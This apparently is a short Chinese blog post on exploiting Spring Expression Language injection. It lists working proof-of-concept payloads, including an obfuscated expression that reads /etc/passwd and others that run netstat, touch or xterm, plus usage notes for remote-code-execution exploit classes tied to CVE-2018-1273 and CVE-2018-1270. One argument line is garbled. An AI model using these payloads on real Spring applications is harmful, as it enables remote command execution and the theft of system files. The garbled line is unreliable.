Spring SPEL注入漏洞利用

SPEL注入POC:

命令回显poc:

T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())

${@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%27netstat%20-na%27).getInputStream())}

..

命令执行poc:

#{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("touch/tmp/foobar")}

username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf

..

近期pivotal官方的漏洞利用,如下:

漏洞编号: cve-2018-1273

漏洞环境:

/Users/***/soft/vulapp/spring-data-examples/web/projection/target

漏洞利用:

package com.evil.exp   SpringDataCommonsRCE

args -u http://127.0.0.1:8080/ -cmd ls

漏洞来源:

https://pivotal.io/security/cve-2018-1273

漏洞编号:cve-2018-1273

漏洞环境:

/Users/***/javaweb/spring-boot-2.0.0.M2/spring-boot-samples/spring-boot-sample-data-rest/target

漏洞利用:

package com.evil.exp   SpringDataRestRCE

args -u lshttp://127.0.0.1:8080/api/cities/1-cmd ls

漏洞编号:cve-2018-1273

漏洞环境:

/Users/***/javaweb/gs-messaging-stomp-websocket/complete/target

漏洞利用:

package com.evil.exp  SpringMessagingRCE

ws://127.0.0.1:8080/hello /topic/greetings /Applications/Calculator.app/Contents/MacOS/Calculator

参考:

https://github.com/genxor/CVE-2018-1270_EXP

https://www.exploit-db.com/exploits/44289/

本文作者：0c0c0f

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